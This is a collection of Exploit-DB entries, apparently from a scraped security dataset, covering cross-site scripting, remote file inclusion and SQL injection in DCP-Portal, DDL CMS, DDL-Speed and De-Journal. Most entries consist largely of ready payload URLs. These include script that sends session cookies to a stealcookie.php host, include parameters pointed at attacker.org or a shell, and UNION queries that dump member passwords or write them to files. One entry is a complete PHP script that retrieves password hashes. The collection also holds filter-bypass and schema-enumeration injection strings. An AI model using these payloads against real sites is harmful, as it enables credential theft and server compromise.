deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27394
Description: DCP-Portal 3.7/4.x/5.x/6.x - 'lostpassword.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-09
Author: Nenad Jovanovic

Exploit:
source: https://www.securityfocus.com/bid/17050/info
    
DCP Portal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/dcp-portal611/lostpassword.php?subject_color="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
http://www.example.com/dcp-portal611/lostpassword.php?email="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
Exploit-DB #27395
Description: DCP-Portal 3.7/4.x/5.x/6.x - 'mycontents.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-03-09
Author: Nenad Jovanovic

Exploit:
source: https://www.securityfocus.com/bid/17050/info
     
DCP Portal is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/dcp-portal611/mycontents.php?action=content&c_name="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
http://www.example.com/dcp-portal611/mycontents.php?action=content&content_inicial=&lt;/textarea&gt;<script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> 
http://www.example.com/dcp-portal611/mycontents.php?action=content&c_name="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> 
http://www.example.com/dcp-portal611/mycontents.php?action=addnews&c_name="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
http://www.example.com/dcp-portal611/mycontents.php?action=addnews&content_inicial=&lt;/textarea&gt;<script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> 
http://www.example.com/dcp-portal611/mycontents.php?action=addnews&mode=write&dcp_editor_contingut_html=xyz&c_name=<script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>&c_image_name=
http://www.example.com/dcp-portal611/mycontents.php?action=addanns&c_name="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
http://www.example.com/dcp-portal611/mycontents.php?action=updatecontent&cid="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script> 
http://www.example.com/dcp-portal611/mycontents.php?action=updatecontent&cid=1&mode=write&c_image_name=xyz&c_name="><script>document.location="http://www.example.com/stealcookie.php?"%2bdocument.cookie</script>
Exploit-DB #22126
Description: DCP-Portal 5.0.1 - 'editor.php?Root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-01-06
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6525/info

DCP-Portal is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers.

An attacker may exploit this by supplying a path to a maliciously created file, located on an attacker-controlled host as a value for some parameters.

If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. Successful exploitation may provide local access to the attacker. 

http://www.example.com/library/editor/editor.php?root=http://attacker.org
Exploit-DB #22127
Description: DCP-Portal 5.0.1 - 'lib.php?Root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-01-06
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6525/info
 
DCP-Portal is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers.
 
An attacker may exploit this by supplying a path to a maliciously created file, located on an attacker-controlled host as a value for some parameters.
 
If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. Successful exploitation may provide local access to the attacker. 

http://www.example.com/library/lib.php?root=http://attacker.org
Exploit-DB #22387
Description: DCP-Portal 5.3.1 - 'calendar.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-03-19
Author: Ertan Kurt

Exploit:
source: https://www.securityfocus.com/bid/7144/info

It has been reported that DCP-Portal does not sufficiently filter URI parameters supplied to the DCP-Portal 'calender' script. 

As a result of this deficiency, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of a legitimate user. All code will be executed within the context of the website running DCP-Portal. 

This may allow for theft of cookie-based authentication credentials and other attacks.

This vulnerability was reported to affect DCP-Portal version 5.3.1, it is not currently known if other versions are affected.

http://www.example.com/calendar.php?year=<script>alert(document.cookie);</script>&month=03&day=05
Exploit-DB #23205
Description: DCP-Portal 5.5 - 'advertiser.php?Password' SQL Injection
Type: webapps
Platform: php
Date: 2003-10-01
Author: Lifo Fifo

Exploit:
source: https://www.securityfocus.com/bid/8739/info

Multiple SQL Injection vulnerabilities have been discovered that affect DCP-Portal scripts. These issues are likely due to a lack of sufficient sanitization performed on user supplied URI parameters. Attacks have been demonstrated that inject partial SQL queries, as values for URI parameters, in a manner that influences DCP-Portal SQL query logic to the attackers benefit.

An attacker may exploit these conditions to disclose DCP Portal credentials, reset user passwords, or perform a denial of service type attack via email spamming.


http://www.example.com/dcp/advertiser.php?adv_logged=1&username=1&password=qwe' or 1=1 UNION select uid,name,password,surname,job,email from dcp5_members into outfile'c:/apache2/htdocs/dcpad.txt

http://www.example.com/dcp/advertiser.php?adv_logged=1&username=1&password=qwe' or 1=1 UNION select uid,name,password,surname,job,email from dcp5_members into outfile'/var/www/html/dcpad.txt

http://www.example.com/dcp/advertiser.php?adv_logged=1&username=1&password='
Exploit-DB #23206
Description: DCP-Portal 5.5 - 'lostpassword.php?email' SQL Injection
Type: webapps
Platform: php
Date: 2003-10-01
Author: Lifo Fifo

Exploit:
source: https://www.securityfocus.com/bid/8739/info
 
Multiple SQL Injection vulnerabilities have been discovered that affect DCP-Portal scripts. These issues are likely due to a lack of sufficient sanitization performed on user supplied URI parameters. Attacks have been demonstrated that inject partial SQL queries, as values for URI parameters, in a manner that influences DCP-Portal SQL query logic to the attackers benefit.
 
An attacker may exploit these conditions to disclose DCP Portal credentials, reset user passwords, or perform a denial of service type attack via email spamming.

http://www.example.com/dcp/lostpassword.php?action=lost&email=fake' or 1=1--'
Exploit-DB #28571
Description: DCP-Portal 6.0 - '/admin/inc/footer.inc.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-14
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20024/info

DCP-Portal is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting, SQL-injection, and remote file-include issues, because the application fails to sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. Other attacks are also possible.

Version 6.0 Standard Edition is vulnerable to these issues; other versions may also be affected.

http://www.example.com/admin/inc/footer.inc.php?root_url="><Script>alert(document.cookie);</script><"
http://www.example.com/admin/inc/footer.inc.php?dcp_version=<Script>alert(document.cookie);</script>
Exploit-DB #28572
Description: DCP-Portal 6.0 - '/admin/inc/header.inc.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-14
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20024/info
 
DCP-Portal is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting, SQL-injection, and remote file-include issues, because the application fails to sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. Other attacks are also possible.
 
Version 6.0 Standard Edition is vulnerable to these issues; other versions may also be affected.

http://www.example.com/admin/inc/header.inc.php?root_url="><Script>alert(document.cookie);</script><"
http://www.example.com/admin/inc/header.inc.php?page_top_name=<Script>alert(document.cookie);</script>
http://www.example.com/admin/inc/header.inc.php?page_name=<Script>alert(document.cookie);</script>
http://www.example.com/admin/inc/header.inc.php?page_options=<Script>alert(document.cookie);</script>
Exploit-DB #28573
Description: DCP-Portal 6.0 - 'login.php?Username' SQL Injection
Type: webapps
Platform: php
Date: 2006-09-14
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20024/info
  
DCP-Portal is prone to multiple input-validation vulnerabilities, including multiple cross-site scripting, SQL-injection, and remote file-include issues, because the application fails to sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. Other attacks are also possible.
  
Version 6.0 Standard Edition is vulnerable to these issues; other versions may also be affected.

login
try the user name as
' or uid=1/*
Exploit-DB #25109
Description: DCP-Portal 6.1.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-02-16
Author: Exoduks

Exploit:
source: https://www.securityfocus.com/bid/12573/info

DCP-Portal is reportedly affected by multiple SQL injection vulnerabilities. These issues exist because the application fails to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

These vulnerabilities are reported to affect DCP-Portal 6.1.1; earlier versions may also be affected. 

http://www.example.com/index.php?page=links&catid=1&lcat=-99%27 UNION SELECT null,password FROM dcp5_members WHERE username=%27[username]

http://www.example.com/index.php?page=documents&doc=-99%27 UNION SELECT null,null,username,password, null,null,null,null,null,null,null,null FROM dcp5_members WHERE username=%27[username]

http://www.example.com/index.php?page=mdetails&uid=-99%27 UNION SELECT null,null,null,username,null, null,null,null,password,null,null,null,null,null,null,null,null,null,null,null,null FROM dcp5_members WHERE username=%27[username]

http://server.com/forums.php?action=showmsg&mid=-99%27 UNION SELECT null,null,null,password,null, username,null,null,null FROM dcp5_members WHERE username=%27[username]

http://server.com/forums.php?action=board&bid=-99%27UNION SELECT null,null,password,null FROM dcp5_members WHERE username=%27[username]

Replace [username] in the above examples with the user name you wish to retrieve the password for.
Exploit-DB #1905
Description: DCP-Portal 6.1.x - 'root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-12
Author: Federico Fazzi

Exploit:
-----------------------------------------------------
Advisory id: FSA:013

Author:    Federico Fazzi
Date:      12/06/2006, 9:31
Sinthesis: DCP-Portal 6.1.x, Remote command execution
Type:      high
Product:   http://www.dcp-portal.org/
Patch:     unavailable
-----------------------------------------------------


1) Description:

Error occured in lib.php, line 4/7:

include ("$root/library/lib_nav.php");
include ("$root/library/lib_mods.php");
include ("$root/library/lib_admin.php");
include ("$root/library/lib_3rd.php");

variable $root not sanitized (declare).

2) Proof of concept:

http://example/[dp_path]/library/lib.php?root=[cmd_url]

3) Solution:

declare $root variable on this file.

# milw0rm.com [2006-06-12]
Exploit-DB #4853
Description: DCP-Portal 6.11 - SQL Injection
Type: webapps
Platform: php
Date: 2008-01-06
Author: x0kster

Exploit:
#!/usr/bin/php -q
<?php
echo "[*]DCP Portal <= 6.11 Remote SQL Injection Exploit\r\n";
echo "[*]Coded by x0kster -x0kster[AT]gmail[DOT]com - \r\n";
/*
Note : Magic Quotes = 0
Script Download : http://www.dcp-portal.org/

Bug in index.php :

     <?php
     //index.php
     [...]
 60.  $sql = "SELECT id, name FROM $t_cats WHERE cat_id = '".$_GET["cid"]."' ORDER BY sort, name";
     [...]
     ?>
     
But the script filter the quotes with this code, included in each page of the cms:
   
     <?php
     //config/config.inc.php
     [...]
118.  if (strlen($_SERVER['QUERY_STRING']) > 0) {  
119.  $str = $_SERVER['QUERY_STRING'];  
120.  $arr = split('[;&]', URLdecode($str));  
121.  $pos = strpos($str, "'");  
122.  if ($pos) {    
123.  $hackattempt = true;  }  
     [...]
     ?>
     
But we can bypass this control using %27 instead ' :-).

So this is the simple PoC:
http://site/path/index.php?cid=-1%27+union+select+1,password+from+dcp5_members+where+uid=1/*
 
Exploit :
*/
if ($argc<4) {
 echo "[*]Usage: php ".$argv[0]." host path id\r\n";
 echo "[*]Example:\r\n";
 echo "[*]php ".$argv[0]." localhost /dcp-portal/ 1\r\n";
 die;
}

function get_response($packet){
 global $host, $response;
 $socket=fsockopen(gethostbyname($host),80);
 if (!$socket) { echo "[-]Error contacting $host.\r\n"; exit();}
 fputs($socket,$packet);
 $response='';
 while (!feof($socket)) {
  $response.=fgets($socket);
    }
 fclose($socket);
}

$host =$argv[1];
$path =$argv[2];
$id = $argv[3];
 
$packet ="GET ".$path."index.php?cid=-1%27+union+select+1,concat(0x78306b73746572,password,0x78306b73746572)+from+dcp5_members+where+uid=".$id."/*";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";

get_response($packet);
if(strstr($response,"x0kster")){
	$hash = explode("x0kster",$response,32);
	echo "[+]Ok, the hash is : $hash[1]\r\n";
	die;
}else{
	echo "[-]Exploit filed, maybe fixed or incorrect id.\r\n";
	die;
}    

?>

# milw0rm.com [2008-01-06]
Exploit-DB #33734
Description: DDL CMS 2.1 - 'blacklist.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-03-10
Author: ITSecTeam

Exploit:
source: https://www.securityfocus.com/bid/38643/info

DDL CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

DDL CMS 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/ddl/blacklist.php?site_name=[XSS]
Exploit-DB #7629
Description: DDL-Speed Script - 'acp/backup' Admin Backup Bypass
Type: webapps
Platform: php
Date: 2009-01-01
Author: tmh

Exploit:
########################################################################################################################
#DDL-Speed Script RFI Vulnerabilities											
#=======================================================================================================================
#                                                                     							
#Critical Level : Dangerous                                           							
#                                                                     							
#Vendor site : http://ddl-speed.org/  ( Will be back soon)  								
#															
#Download : http://scriptmafia.org/cms/1766-ddl-speed.org-script-vom-30.03.2008.html					
#															
#=======================================================================================================================
#															
#DORK : "index.php?section=post_upload"                                       						
#                                                       								
#															
#															
#Exploit :														
#--------------------------------											
#															
#www.[URL]/[PATH]/acp/backup/log.php	
#www.[URL]/[PATH]/acp/backup/index.php
#www.[URL]/[PATH]/acp/backup/acp.php										
#															
#=======================================================================================================================
#Discovered by : #sys-flaw ( Quakenet)											
#															
#Contact : tmh[at]sys-flaw.com	/ admin[at]sys-flaw.com									
#															
#Greetz to :n00bor , Five-Three-Nine , J0hn.X3r , electron1x , PurpleD1amond , Sebo , Z1uX , meckl , Floo , -Patrick_B ,
#abcdef ,Loader007 , bizzit , Barbers , dev0815 , f0Gx , h0yt3r , Nemo , e-shock , Sys-Flaw , Codesoft ,Free-Hack 	
#	      														
#															
########################################################################################################################

# milw0rm.com [2009-01-01]
Exploit-DB #13736
Description: DDLCMS 2.1 - 'skin' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-06-06
Author: eidelweiss

Exploit:
==============================================================
DDLCMS v2.1 (skin) Remote File Inclusion Vulnerability
==============================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ########################################          1
0                    I'm eidelweiss member from Inj3ct0r Team          1
1                    ########################################          0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Vendor:		www.ddlcms.com
download:	http://www.ddlcms.com/download.php
Author:		eidelweiss
Contact:		g1xsystem[at]windowslive.com

=====================================================================

	-=[ Vuln Code ]=-

[-] /thanks.php

	include(WWWROOT . 'skins/' . $skin . '/header.php');	// line 46
	include(WWWROOT . 'leftside.php');

=====================================================================

	-=[ P0C ]=-

"skin" parameter in FILE thanks.php is not Defined which can allow remote attackers to execute arbitrary PHP code via a URL

	-=[ exploit ]=-

	http://127.0.0.1/thanks.php?skin= [inj3ct0r sh3ll]


=========================| -=[ E0F ]=- |=========================
Exploit-DB #42447
Description: De-Journal 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-11
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: De-Journal - Academic Journal and Peer Review System 1.0 - SQL Injection
# Dork: N/A
# Date: 11.08.2017
# Vendor Homepage : https://sarutech.com/
# Software Link: https://codecanyon.net/item/dejournal-academic-journal-and-peer-review-system/19533981
# Demo: https://demo.sarutech.com/dejournal/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Vulnerable Source:
# .....................
# 	if(!isset($_GET['id'])){
# 		redirect('index.php');
# 	}
# ?>
#  
# <?php
# 	$row = $connection->query("SELECT * FROM page WHERE menu='$_GET[id]'");
# .....................
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/page.php?id=[SQL]
# -1'++/*!22222UnIoN*/(/*!22222SeLeCT*/+0x283129,0x283229,0x283329,(select(@x)from(select(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=Concat(@x,0x3c62723e,if((@tbl!=table_name),/*!11111Concat*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c[PII_REDACTED]74796c653d226d617267696e2d6c6566743a333070783b223e), 0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x),0x283529,0x283629)--+-
# 
# http://localhost/[PATH]/abstract.php?id=[SQL]
# -1'++/*!22222UnIoN*/(/*!22222SeLeCT*/+0x283129,(select(@x)from(select(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=Concat(@x,0x3c62723e,if((@tbl!=table_name),/*!11111Concat*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c[PII_REDACTED]74796c653d226d617267696e2d6c6566743a333070783b223e), 0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x))--+-
# 
# Etc...
# # # # #